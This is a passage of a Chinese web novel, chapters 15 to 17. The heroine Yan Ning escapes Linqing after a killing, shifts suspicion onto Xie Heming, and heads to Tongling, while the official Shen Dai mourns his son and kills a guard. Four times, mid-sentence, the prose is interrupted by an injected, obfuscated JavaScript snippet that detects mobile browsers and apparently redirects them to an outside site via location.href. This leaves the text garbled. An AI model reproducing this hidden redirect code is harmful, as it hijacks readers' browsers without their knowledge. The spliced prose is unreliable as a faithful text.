她从怀中拿出一块面饼递过去。 “姐姐不饿，你吃吧。”姜蓉推了回去，认真的替她擦去脸上灰尘。 阿九低头想了想，将面饼掰开，多的一半递给姜蓉，眼睛弯成月牙，“姐姐也吃。” 她乖巧懂事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831676|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽在逃难，却依旧留有孩童般的天真质朴，那是悲苦日子里唯一的慰藉。 直到她们在临清城外遇到晏宁。 那时她们已徒步走了几个月，从冬日走到夏日，身上衣衫破旧，鞋子磨破了几个洞，露出龟裂的脚趾，喉间火辣辣地，灰头土脸，狼狈不堪。 吃食早已没了，她们饿得再也走不动了，眼前直冒金星，模糊视线里，出现了一双鞋子。 姜蓉抬头。 女子面容秀美，穿着粗布麻衣也不掩她的容色。 她神色淡漠，低眉敛目，于她们来说，就是绝望之时骤然出现的神女。 日光照在她背后，让她的脸庞变得朦胧起来。 姜蓉茫茫然地望着。 直到神女朝她们伸手，暖阳在她身上渡了层光。 绝处逢生，柳暗花明。 那时她们天真地以为最艰苦的日子已经过去。 晏宁走前为她们留下了银子和吃食，足够她们再过上几个月，可宅院中的孩子很多，银子早晚有花光的一天。 她只能出去找赚钱的法子，阿九则偷偷溜去学堂外，听先生教书。 她拿着一根长长的棍子，在地上写写画画，字迹形如龟爬，她便苦恼地皱眉，又划掉重写。 姜蓉回来时，她会兴奋地跑过来，手中握着一个石子，作势写给她看，“姐姐，我会写你的名字了。” 她蹲下身，用石子在地上刻上姜蓉的名字，一笔一划刻得极其认真，小小的身子一挪一挪。 最后一笔落下，她仰头，眼中神采奕奕，“姐姐，我厉不厉害？”声音软糯，带着孩子的甜味。 姜蓉笑着捏捏她的脸，“厉害。”随即又问：“可是为什么要先写我的名字？” 阿九站起身，抱住她的腿，仰着脸看她，眼睛像葡萄一样，“因为有姐姐才有阿九。” ‘轰隆’—— 风声哭号着带走她的回忆，连同她的妹妹一起带走了。 姜蓉止住了哭，双眼空洞，更像是忘记了哭。 云层中有雷电穿梭，阴沉的天色宛如黑夜，忽闪而过的惊雷照亮晏宁的脸，她形容狼狈，任由雨水划过她的下颌，那双始终淡然的眸子似有动容。 “姜蓉，你该走了。” 女子睫毛颤动，慢慢抬头，雨珠砸在她脸上，眼睛睁不开，连外界的声音都变得缥缈起来。 她有些不确定是不是自己的错觉。 只依稀听到耳畔传来声音。 ——你该走了。 走？走去哪儿？ 她孤独地跌坐在雨中，心中失去的那一块始终无法填补。 杀了人，她能逃到哪儿去？ 阿九在这，她不能离开…… “姜蓉。”似有神女平和的嗓音降临，“你不该为他的死负责。” 神为世人赐福。 福泽众生。 眼前出现了一条新的路。 “阿九从未离开，她在陪着你。” 姜蓉眼中浮现一道光，她扭头虚空一摸，似乎感受到什么，笑了起来，同时眼泪夺眶而出。 雨幕中，她们的背影渐行渐远。 清璇回过神，喉头滚动，也觉苦涩难当。 看似报了仇，逝去的亲人却再也回不来。 她垂眸掩去落寞的神色。 晏宁转身，望见远处撑着伞走进雨里的男子，神色一顿，静静地看着他。 15. 利用 雨声淅沥，空气中血腥味弥漫。 谢鹤明撑伞走来，寒风将他的衣袖吹得鼓荡，葱白手指沾了水珠，却多了几分美感。 他在晏宁身前站定，握着伞的手伸出去，纸伞微微倾斜，将大半风雨挡在伞外。 视线在她身上停留一瞬，接着越过她看向地上冰冷的尸体。 “人死了。” 晏宁瞥了眼他淋湿的肩头，没说话。 “你把人放走，想过如何收场吗？”谢鹤明语气重了些。 沈岱妾室虽多，子嗣却单薄，唯沈章越一个儿子，他对其子娇惯溺爱，以至于造成多人的悲剧。 可沈岱是什么人？ 他是临清节度使，权利虽不胜从前，但在这城里也是说一不二，若叫他发现自己儿子惨死街头，岂会善罢甘休！ “为何要想？”晏宁淡淡反问，往后退了一步，与他拉开距离。 一人在伞下，一人在伞外。 顺着伞沿滴落的雨水，形成一道屏障，仿佛永远跨越不过的界限。 “霍七娘！”谢鹤明言语中带着丝恨铁不成钢的味道，“你以为他是什么身份，随意便打杀了，倘若被沈岱发现，你知道自己会是什么下场吗？” 晏宁目光动了动，“我不明白公子的意思。” 她抬眼，一闪而过的笑意含着机敏与精明，“我从未去过沈府，更没见过节度使。” 谢鹤明怔了怔，随后反应过来，眉目微敛，静默不语。 “出现在沈府外的是公子，与节度使有过接触的也是公子，就连那火……”晏宁转眸，看向一旁的元青，语声温和，却让人感到无端寒意，“也是元小哥所为。” 元青听得目瞪口呆。 连清璇都是一脸的不可置信，仿佛第一次见有人能把利用说得如此坦荡自然。 元青小心觑谢鹤明脸色，见他后槽牙都咬紧了，心中生出一丝微妙感受。 这场雨将会冲刷掉一切痕迹，但罪恶永远存在。 鲜花在黑暗中绽放，又在黎明前凋零。 待晏宁走远，元青欲言又止，“公子，七姑娘这是赤裸裸的在利用你啊。” 或许是临时起意，又或许她是从一开始就想好了。 先让谢鹤明拖住沈岱，原本以他的身份还不至于让沈岱如此兴师动众，但偏偏谢家家主和沈岱之间有些说不清道不明的关系。 天时地利人和全让她占了。 谢鹤明绷着脸不知在想什么，过了须臾，才喃喃道：“我突然想知道，她这些年都经历了什么……” 元青有些疑惑，“公子，你不生气吗？”竟还有闲心关心七姑娘的经历。 换做任何人被如此利用，恐怕都无法平心静气。 但…… 他瞅着谢鹤明，实在猜不出他的心思。 “她利用我，我也利用了她。”谢鹤明转身就走，“扯平了。” 元青愣了愣，知道他说的是火烧书房一事，可这哪能这么算？ 一旦节度使追来，搞不好麻烦缠身，到时沈岱再一封信送到京都，公子连家都回不了。 元青急忙追上去，“公子，若节度使当真追来，你可有法子应对？” “所以啊……” 元青看向他，等他继续说下去。 谢鹤明道：“在他发现之前，赶紧走。” “……” 确实不失为一个好办法，简单粗暴。 “可是夫人还在京中，若他告到家主那，会不会连累夫人？”元青仍有些担忧。 “放心，母亲不会任他胡来。” …… 这场雨持续了半日，总算停歇。 晏宁回了一趟大院，留下一封信和一袋银子，她能做的只有这些，毕竟谁也不能管他们一辈子，余下的日子还得这些孩子自己度过。 她叫了辆马车，在临走之前又来到江边，将做好的河灯放入水中，静静看着它顺流而下。 清璇匆匆赶来，气喘吁吁道：“姑娘，你走太快啦。” 她也有样学样，把河灯放入江里。 两只河灯一前一后，带着亲人的祝福飘向远方。 传说江水能打通阴阳两界，渡人入轮回。 清璇看着看着，又落下泪来，“爹娘，我想你们了。” 思念是这世上最无解的难题。 晏宁垂眸，又站了会儿，转身朝马车走去。 听到动静，清璇连忙跟上，“姑娘，你在河灯里写了什么？” 在河灯里写上心愿，不仅是对逝者的悼念，更是对生者的祝福。 晏宁脚步微顿，“什么也没写。” “啊？”清璇呆了呆，见她走远，又小跑过去。 像是终于意识到什么，晏宁回头，“为何跟着我？” 清璇有些无措的捏着衣角，“我、我没地方去了……”她小声道：“求姑娘让我跟在你身边。” 晏宁不为所动。 清璇退开一步，跪了下去，“姑娘救了我，我这条命便是姑娘的。” “我无意救你，也不要你的命。” 扔下这句话，她踩着脚蹬上了马车。 正要掀帘进去，清璇又道：“我会洗衣做饭，也会一些绣活，能赚些银钱，姑娘带上我，无需再为琐事操劳。” 生怕晏宁不同意，她扒着马车，语无伦次道：“我已无处可去，更是失了清白的女子，若连姑娘都容不下我，那我……” 晏宁看向她，“你当真要跟着我？” 她要找人，总免不了向人打听消息，有个帮手，的确会方便许多。 眼见她松了口，清璇唯恐她改变主意，连连点头。 “那你上来吧。” 马车朝城外驶去，晏宁打开后窗向漫漫长街望去。 卖糖人的摊贩，坐在茶摊里闲聊的妇人，手拿拨浪鼓逗弄孩子的父亲…… 看似平静祥和的城镇下，却如蒙上一层厚重雾霭，令人看不真切。 贪婪、掠夺、欺压、隐瞒。 于嘈杂街市中，她隐约听到一阵凌乱的脚步声。 “姑娘，怎么了？”清璇见她面色不对，担忧地问。 晏宁将车窗掩上，沉默片刻，朝外头喊道：“大哥，有劳你快点。” “好嘞。”车夫应一声，手一扬鞭，马车飞速地蹿了出去。 晏宁早有准备，她扶着车座，还在清璇将要跌出去时拉了她一把。 车内晃晃荡荡，身后的喧闹却越来越近，眼看城门近在眼前，晏宁透过飘起的帘子往外望去，神色倒是如常，但脑中的那根弦始终绷着。 “姑娘……”清璇有些不安的看着她。 “停下！” 一个冷喝令车夫不得不拉紧缰绳。 他赔笑道：“官爷，里面是两个姑娘，还请行个方便。” 守卫道：“管你是谁，节度使有命，出城必须检查！” 车帘掀开，晏宁探出头，柔柔一笑，“官爷，我们姐妹二人急着回乡探亲。” 守卫往里看了眼，的确是两个弱女子，并无异样，当即让人放行。 清璇憋着一口气总算吐出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831677|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等出了城门，她拍拍胸膛，“吓死我了，还以为被发现了。” “不。”晏宁思忖着，浑身放松下来，“多半是在查沈府失火一事，只是沈岱几乎认定是谢鹤明所为，对旁人走个过场罢了。” “沈章越的尸体应该暂未被发现。” 清璇似懂非懂的点点头，“那个谢鹤明就是方才遇到的公子吗？”她好奇问：“姑娘和他是朋友吗？” ‘朋友’…… 晏宁头一抬，似乎也没料到会从清璇嘴里听到这两个字。 良久，她低声道：“不是。” 他们从来就不是朋友。 车内有些沉闷，清璇似乎意识到自己说错话，揪着衣袖有些无措，扭头推开窗，任由凉风吹入。 她抬头望天，日落云霞，绚丽如织。 她扒着窗，绽开一个笑容，“姑娘你快看，好美啊。” 晏宁从她刻意留出的一丝缝隙望去，雨后天晴，暮色之下，霞光满天，美得不似凡尘。 金乌西坠，残留的余晖映入她眼中，也衬得她眉眼柔和，眸光清浅。 清璇回头看她，恍惚一瞬。 她觉得此刻的姑娘很孤独，仿佛被天地抛弃了。 随后又摇摇头，将那些乱七八糟的想法丢出去，重新看向窗外，视线一瞥，她忙道：“姑娘！” 晏宁了然，推开后窗，她们离城门有段距离了，眺望远处，一群侍卫匆匆忙忙赶到城门口，不知同那群守卫说了什么，当即脸色一变，接着城门关闭。 她关窗阖眸，淡淡道：“他们发现了。” 清璇心跳加快，按耐不住的紧张，“若是被人发现，你去过沈府……或是因我而连累姑娘……”越想越觉骇人，她一拍脑袋，“牢房里的守卫！” “什么守卫？” 清璇一愣，刚要提醒，却被晏宁一口打断，“你我从未去过什么节度府，像我们这样的身份，哪配与高高在上的官老爷扯上关系。” 清璇揣摩了下她话中之意，心下稍安。 “对，我们没去过。”说着，又看向窗外，“姑娘，接下来去哪儿？” 晏宁道：“铜陵。” …… 节度府上已然乱作一团。 有人在府上放火也就罢了，烧的还是堆放各种重要文书的书房。 沈岱神色阴沉，看着眼前被烧成焦黑的房屋，扯过一旁的侍卫道：“东西呢？里面的东西呢？” 侍卫磕磕绊绊道：“都、都没了……” “废物！”沈岱气不打一处来，狠踹了他一脚，把他踹得在地上滚了几滚，连喘几口气，看起来像是要厥过去了。 “就这会儿功夫，那人肯定还没走！”他瞪着院里跪了满地的侍卫，“还愣着做什么？还不快去找！”语气阴狠，一字一顿道：“掘地三尺也要把人给我找出来！” “是！” 府中人人自危。 侍卫带着刀闯入各院，凶神恶煞地模样仿佛要将人撕了。 一应妾室躲在一旁瑟瑟发抖。 搜到偏僻院落时，有人眼尖的发现倒在地上的孟昌，粗暴地一手将他拎起，提到沈岱跟前，随意抛下。 力道大的让他渐渐转醒。 但身上四处都疼，仿佛千疮百孔，他不敢动弹。 沈岱眯着眼打量他，似乎觉得有些眼熟。 侍卫禀报道：“老爷，此人就倒在院子里，看着鬼鬼祟祟的。” “不、不不不……”孟昌艰难地仰头，伸手去抓沈岱的衣角，“老爷，你不记得我了？” 16. 铜陵 沈岱将他踢翻，弯腰认真盯着他脸看，片刻后，脑中灵光一闪，才恍然，“是你啊。” 一个有点钱的豪商，用他全部的家产到他这儿来寻求个庇护。 他初次听说时，只当是哪个人傻钱多的，可后来…… “你不是在牢里蹲着？”他眯起眼，犀利的目光仿佛要将他看透，“谁放你出来的？” “是……是一个侍卫。”孟昌浑浑噩噩的回忆，“个子不高，黑脸的。”他想起那双眼，依旧觉得胆寒，忍不住打了个哆嗦，指尖上的疼痛无时无刻不在提醒着他，像是想起什么似的，他抓着沈岱裤腿，“毒，他给我下毒了！帮我找个大夫！” 不说还好，一说就觉得似有万蚁噬心，身上泛着涩涩麻麻的疼，他呼吸急促，甚至用指甲抓挠，指尖还在淌血，连带着被划破的皮肤一起渗血， 他痛苦又狰狞的在地上翻滚。 沈岱盯了他片刻，嫌弃的用脚勾起他的手踩在地上，对于孟昌的哀嚎充耳不闻，只定睛看他。 摊开的掌心，血糊了满手，都是从指尖往下流的，有的早已凝固。 拇指似乎变了形，看上去诡异又悚然。 视线一转，孟昌穿的是一身玄色长衫，他虽住在牢里，但毕竟是用钱换来的，沈岱也没强迫他换上囚服。 玄衣色泽深暗，不仔细看倒是看不出。沈岱踢了他一脚，见他面露痛苦，腰间的那抹暗色就变得更加刺眼。 他神色莫名道：“这都是那人弄的？” 孟昌死死咬牙，忍着疼点头。 “有意思。”沈岱不咸不淡的说了句。 他抬头朝一旁侍卫看去，侍卫会意，一刻不敢耽搁地下去找大夫。 虽说孟昌的命并不重要，但有人能在节度府做这种事，还堂而皇之的从牢里把人提出来，这嚣张的举动，以沈岱的脾性焉能放过他？ “去，把当值的人全部找来！” 他冷声命令，侍卫连头都不敢抬，匆匆忙忙退下，生怕殃及自身。 天色渐渐暗下来，一大块厚厚云层挤在一处，笼罩在节度府上空。 府里大部分侍卫都被派出去找人，院中只剩下孟昌凄厉的呜咽与呻吟杂糅，场面一度诡异。 沈岱背着手站在一旁听侍卫回禀，“都搜过了，没有可疑之人……”眼见沈岱面色越来越难看，像冬日阴雨，吓得他不敢再继续说下去。 “老爷！” 一个人被丢到地上，又颤颤巍巍地爬起，伏下身去，额头贴着地面，“老、老爷，小的真的什么也不知道啊——” 他惊魂未定，浑身抖得跟筛子一样，豆大的汗水往下滴落，明明霜降将至，背后却湿了一大片。 牢房离几个院子都远，当他听闻府中失火一事时，已被沈岱派来的侍卫强行架起，那时心头便有了一丝不好的预感。 脑中乱的跟一团毛线似的，冷不丁听到头顶传来一声冰冷的质问，像压抑着怒火。 “此人可是你放出来的？” 侍卫抬头看了眼，吃了一惊，忙低头道：“是……” “谁的命令？” “是……”侍卫也意识到不对，小声说：“是老爷派人说要提审……”他咽了咽口水，连连磕了几个响头，“小的只是听命行事……那个人……他拿出了老爷的令牌……” 闻言，他下意识一摸怀中，的确不见令牌，闭上眼重重吐出一口浊气，睁眼时神色骇人，当即下令，“搜！把人和令牌一起带回来！” 跟他许久的侍卫一听这语调，便知他是真的动怒了。 在临清，沈岱就是说一不二的主，有人敢在他的地盘上撒野，当真是不要命了！ 阴冷的风从江边吹到节度府，树叶“沙沙”作响，沉沉的天色让人透不过气来。 沈岱抬头，轻飘飘地说了句：“看来是要变天了啊。” 他隐隐觉得自己忽略了什么，目光在庭院中穿梭，突然一个念头划过，蓦地看向离他最近的一个侍卫，“谢鹤明呢？” 侍卫茫然一瞬，但仍旧毕恭毕敬回道：“小的不知，失火后便不见踪影。” 沈岱气得踹他一脚，怒斥：“废物！” 谢鹤明来得本就蹊跷，碍着他与谢氏之间的那点事，没道理撕破脸皮，也只能让他进府了。 但他贸然登门，处处透着诡异，他就让侍卫都来盯着，以防出点什么事，谁知就在他眼皮子底下还是出事了。 沈岱来回不停地走，越想越气，拳头握得咯吱响。 难不成他还找了帮手？就为了毁掉他手里的证据？但不是说谢家那位和他的关系并不好吗？ 谢鹤明为何要费这么大劲替他做事？ 侍卫惶恐地伏跪在地。 沈岱眼底郁郁，站在阴冷的庭院中，不禁让人感到不安。 秋日的雨来得又急又猛，兜头淋下，裹挟着寒风，忽喇喇地往人衣袖里钻，侍卫手忙脚乱的为他撑伞。 这一站，便是许久。 “老爷，找到了——” 有人跪在面前，恭敬地呈上一个东西，“小的在书房里找到的。” 令牌被烧得焦黑，但因材质特殊，并未变形，隐约能看到其中的一行小字，的确是他的令牌无疑。 沈岱沉着脸，手指一点点收紧，世上当真有如此凑巧之事？ 令牌丢失，府中失火，派人寻找之时又在火场中捡到，一桩桩一件件很难不让人多想。 看似巧合，但分开来看，又像是有人在背后操纵。 而这人…… 他心中也有数了。 沈岱抬眼，眸中森然，像在酝酿一场更大的风暴。 远处脚步杂乱，竟是几个侍卫回来了。 “老爷——” 这一句夹带着恐慌与畏惧，惊骇之下连声调都变了音。 沈岱扭头。 “轰隆”—— 闷雷乍响，将这座府邸照亮，也倒映出沈岱眼前的场景。 雨幕里，几人朝他走来，似乎还抬着某个人。 朦胧暗色中，沈岱偏头看去，忽地，不知看清了什么，瞳孔骤缩，身子晃了一晃，身旁侍卫连忙扶住，被他一把甩开。 他踉踉跄跄地朝前走，脚步都变得虚浮起来，仿佛踩在了空气上。 侍卫把人放下，忐忑不安地跪在一旁。 地上的尸体早已冷透，脸泛着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831678|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌青，任由雨水打湿。 沿路过来的地面尽是血水，是尸体身上滴落的。 沈岱颤抖着伸手，抚上儿子冰冷的脸，冷得他止不住发抖，视线落在他的衣服上，血淋淋一片，竟生生将一件月白锦衣染成红色，足以想象他身上有多少伤痕。 “……谁干的？”嗓音沙哑，像在粗糙沙砾中磨过一般。 见无人回应，他掀起眼皮，眼中泛红，如同从这雨中爬出来的厉鬼，用狠戾来形容已不够确切，他掠过的目光幽冷，比这风雨还要瘆人，叫人不寒而栗。 “谁干的！”他嘶吼道：“我问谁干的——” 话音凄厉的像要生生将长空撕裂。 “小的、小的找到公子时，公子已经……” 说话的人被沈岱拽出去，接着抽出他身上的刀，毫不留情地刺入。 鲜血在他脚下晕开，仿佛一朵开在雨里的花。 侍卫直直倒下，眼还大睁着。 众人见状，更加惊惧，皆抖着不说话。 寒风刮在脸上，如刀子般刺人，跪了满地的侍卫脸上毫无血色，雨水顺着他们脸庞淌落，冷得他们浑身一激灵。 四周滴滴答答的落雨声，混着鬼哭狼嚎的风声，更显得院中寂静无声。 “说，这是谁干的？”他再次开口。 可众人见过上一人的下场，哪敢轻易出声。 死一般的静默中，沈岱手中握刀，一步一步走过他们身前，像个嗜血残忍的刽子手。 有人壮着胆子抬头，却只望见刀刃上反射出的光亮里——自己的神色。 冻得发白的唇色，黏在脸上的发丝，瞳仁里散发出胆寒与恐惧。 突然，沈岱在他面前停下。 他的呼吸逐渐变得急促，神色迷离，他似乎预见到自己离死亡仅一步之遥。 脖颈突然梗住，他缓慢地抬头，雨水刺激得他睁不开眼，模糊视野里，沈岱朝他勾唇，“说，谁干的？” 从他问出口的那一刹那，几乎就给他判了死刑。 侍卫脸色煞白，干涩的嗓音如同被敲响的丧钟，“是……”他思绪一团乱，心脏剧烈地跳动，不停地撞击胸腔，引得心口阵阵疼痛，但求生的本能还是迫使他打起一丝精神，脑中的弦绷到极致，身子不由自主地颤抖，恍惚间，他想到了一个人，几乎脱口而出，“谢家公子！是谢鹤明！” 院中雨雾蒙蒙，灰暗的天不见半点光亮。 沈岱转过身，冷冷一笑，嘴里吐出两个字，“很好。” …… 临清城门紧闭，全城戒严，训练有素的侍卫沿街巡逻，一旦发现可疑之人当场抓获。 随着风雨停歇，紧随其后的是节度使滔天的怒火，手无缚鸡之力的老百姓无力与其抗衡，慌乱之下，人人自危。 这些消息自然传不到已到达铜陵的晏宁二人耳中。 她们刚一进城门就听到一个无比熟悉的声音。 “七娘。” 晏宁蓦地回头，待看清墙边站着的男子，眸光微动，她虽未开口，但神情已代她说出口了。 谢鹤明看在眼里，忽略她不待见的目光，饶有兴致道：“这么快又见面了。” 17. 谢云隐 阴魂不散。 晏宁心头冒出这几个字，面色不善的盯着他。 大抵是她的目光太过抗拒，连最初的礼貌都懒得伪装，谢鹤明收敛了笑意，站直身子，摸了摸鼻尖，走上前道：“我如今算是被沈岱恨上了，只怕这时候，他的人已在去往盛京的路上。” 顿了顿，语气中藏着一丝讨好，“七娘，我无路可去了，你得负责。” 晏宁眨了眨眼，惊奇的看向他，而后不知想到了什么，眼中的异样渐渐淡下去，显得习以为常。 “路有很多，以谢公子的本事难道还会怕一个小小的节度使？至于负责……”她勾起一抹笑，“我听不懂。” 她一向淡漠，仿佛天塌下来都不会引起她内心的波澜，这是在谢鹤明面前的晏宁。 可在旁人跟前时，她又会变得柔弱温和，说话轻声细语，无法不让人心生怜爱。 她藏起身上的刺，被人冷嘲热讽，连脸都没变。谢鹤明觉得有趣，就喜欢看她前一刻怯弱温润，好欺负的模样，后一刻又淡淡的讽刺他一两句，让他觉得似乎只有自己在她那才是特别的。 想到这时，他一愣，意识到不对，低头兀自笑了。 可方才晏宁脸上的神情却丰富了起来，不是嘲讽般的笑，不是冷淡到近乎漠然的笑，而是带着一丝狡黠，微弱的光被他捕捉到了。 虽只有一瞬，但谢鹤明似乎找到了曾经的感受。 在定襄城里，天河桥头，某一刻的悸动被他按下，后来的日子有意无意的忽略，那时尚且懵懂，没等他想清，晏宁就不见了。 “你不是要打听人吗？这事简单。”他扭头冲着元青示意。 元青怔了下，转身无奈的嘀咕，“公子有命，不敢不听。” 见他走远，谢鹤明回头，眉眼弯了弯，“七娘，我很好用的，你可以无限次利用我。” 他笑起来时，会露出两颗小虎牙，小鹿眼微弯，不带算计的眸光亮晶晶的，有种纯粹的可爱。但他大多时候不笑，总是扯着唇角，或是似笑非笑，一点也不正经，总有股事不关己的清透冷静。 晏宁盯着他，暗暗猜测他的用意。 盯着盯着，就觉得眼下情景有些似曾相识。 那时她还在霍家，霍家人都不喜同她来往，但院子里又实在闷得慌，她就走出门去。 路上遇到霍家二伯母，一把将她扯过去，趾高气扬的命令她给那贪吃的十一郎买零嘴。 十一郎是霍家最小的孩子，也是最受宠的那个，上到族老长辈，下到兄弟姊妹对他无有不应。 晏宁知道自己拒绝不了，被扯这么一下，她脚步踉跄，险些没站稳，显得身子越发单薄，她轻声道：“二伯母，钱……” 平日里她的吃食都是霍云清替她准备好的，虽说霍云清会给她几粒碎银，但从来都藏不住，到后来她也就不需要了，与其便宜了旁人，不如就让霍云清自己留着。 她没有银钱，自然无法买零嘴，只能张口要。 可二伯母丝毫没有要给她的意思。 嘴里还骂骂咧咧，“给十一郎跑腿是你的福气，至于钱的事，自己想法子。” 晏宁低垂着眼，掩住眸中神色。 这福气谁爱要谁要！ 她身无分文的在街上乱走，等到天色渐渐暗下来，才回到霍家。 二伯母早已等在那，见到她，二话不说就掐了她胳膊一下，“让你买吃的，买到天都黑了！你个死丫头——”说着又看了看她手上，瞪着眼质问：“吃的呢？” 晏宁抿唇，泪眼弯弯，“二伯母让我想法子找银子，我在路上碰到谢二郎，想同他借，他问我缘由，我就如实说了，但他说十一郎太贪吃，都胖成球儿了，得戒一戒。” 十一郎已到开蒙的年岁，最恨的便是有人说他胖，每次一听总要跟人拼命。 果不其然，二伯母闻言，脸色微变，想骂人但又顾及到说这话的是谢鹤明，只能将气往晏宁身上撒，“谁让你向他要钱了？！” 晏宁可怜兮兮地抹了把眼泪，“不是二伯母让我想法子的吗？” “……”一口气堵着散不去，二伯母又狠狠拧了晏宁几下，才离开。 谢鹤明的名头最是好用，他性子温和，模样俊俏，学识更是没得说。 别说谢家人宝贝他，就是霍家人也时常夸赞——生子当如谢鹤明。 晏宁摸着微微泛着疼的胳膊，温软的目光一寸寸凉下去，幽深的眸中只余一片冷寂，宛如一口巨大的黑洞，脸庞上柔和的轮廓线条也变得凌厉起来，显得十分疏离。 风将她衣袖吹得鼓动，瘦弱的身躯被裹在薄薄的衣衫里，更显伶仃萧条。 她仍站在原地，眼中隐隐流露出的厌弃不知是对着谁的。 身后陡然传来一声笑。 她一顿，慢腾腾地转身。 谢鹤明就站在不远处，衣着淡雅，笑弯了眼眸，小虎牙特别明显。 就在前不久她才提到此人，这么巧，他就出现在身后。 他来多久了？ 晏宁平静看着他，丝毫没有被人抓包的心虚。 “霍七娘。”谢鹤明眼里仍带着笑，“你说人坏话都不背着人的吗？” 晏宁不语，只是奇怪，为何被人利用了，他还如此开心？ 与曾经一样，她又利用了他。 “谢云隐。” 她只叫了他一句，正要说些什么的时候，就听见谢鹤明温声回应，“诶，在呢。” 一时之间，她卡壳了，话堵在嘴边，竟说不出来。 她拧眉想了想，“你很闲吗？” 就像是被他这种死皮赖脸也要跟着的姿态弄得没脾气了。 闻言，谢鹤明装模作样思考了会儿，“如今有家归不得，无事可做，的确很闲。”他咧着嘴笑，“所以，七娘莫要嫌弃。” 晏宁眉心拧得更紧了，他是吃错什么药了？ 不过几日未见，怎么变化这么大？ 清璇在一旁看着，根本插不上话，这位谢公子压根就没看她一眼。 她扯了扯晏宁衣袖，低声喊她：“姑娘……” 谢鹤明瞥了眼晏宁衣袖上的手。 清璇似乎感受到一股不善的目光，狐疑地抬头，却什么也没发现。 “那就麻烦谢公子去找间客栈，未来或许还要多待几日。” 晏宁倒没有半分不自在，索性让他付了住店的银钱，也省了一笔。 她往前走，清璇微愣，连忙跟上去，走了几步又回头看一眼，凑到晏宁耳边问：“姑娘，这样不好吧？”随后表明：“我也能做绣活赚钱，用别人的总归过意不去。” 晏宁笑笑，“何必费那力气，现成的不好吗？” “那就这么让他们跟着吗？” 晏宁静默片刻，道：“左右不过找人，多个人多份力，大不了以后再甩了他们。” 清璇一想，是这么个理，也不纠结了，“那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831679|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们接下来去干嘛？” “喝茶。” 清璇以为她在开玩笑，结果就见她真走到茶馆里，伙计迎上来，满脸堆笑：“两位姑娘楼上请。” 伙计带二人上了二楼雅座，晏宁走上台阶，随意瞥了眼底下大堂里的人，正巧门外走进一个女子，戴着幂篱，衣裙纤纤，虽看不清容貌，但身形纤瘦，引人频频侧目。 她也往二楼来，晏宁收回目光，随后来到一个靠窗的位置坐下。 伙计道：“姑娘喝什么？” “一壶茶。” “小店有好几种茶，不知姑娘……” 晏宁打断他的话，拿出银子放在桌上，“随意就好。” 她对喝茶并无讲究，最难的那段日子里有口水喝便是幸事，后来去了霍家，霍云清对焚香点茶一事颇为感兴趣，时常让她帮着品味一番。但晏宁不懂茶，尝不出其中滋味，只能给出“好喝”“尚可”的评价。 想到那时喝出茶中涩味，她微微皱眉，忙将杯子推远了。 霍云清便笑，像变戏法似的，递给她一块糖糕，哄她，“吃一口就不苦了。” 吃一口就不苦了…… 甜香占据她口中大部分涩意，盖住苦味，但苦味仍在。 伙计接过银子，乐呵呵地应下了。 晏宁情绪陡然低落，余光瞥见那位戴着幂篱的女子坐到她对面，难得留意了一下。 “姑娘，想不到铜陵也是如此繁华。” 清璇趴在窗口，往外眺望。 这间茶馆左邻书肆，右接胭脂铺，斜对面是一间布庄，相邻两边分别是珠宝铺和香料铺，往前走几步能看到客栈和酒馆。 正对面是座桥，将两边商铺连接起来，桥下河流缓缓流动。桥上站着三三两两的男女，个个含羞带怯，像在赏景，又不像在赏景。 清璇发出一声叹服，“这儿的景真美啊。” 伙计端着盘子走来，一道放在桌上，又说了一番吉利话，便下去了。 晏宁提壶倒茶，抿了一口，没有记忆中的味道，她侧目向外望去，眼中略有恍惚。 这里的景象与定襄城中十分相似。 之所以选在这，也是看中了茶馆四周涵盖了大多铺子，什么三教九流、富家公子都会出入此地，便于观察。 “姑娘？”清璇见她脸色不太好看，轻声叫了下。 晏宁回神，摇头道：“我没事。” 她放下茶杯，抬头朝前看了眼，对面位子上的女子已不见了踪影，只留下桌上的一顶幂篱。 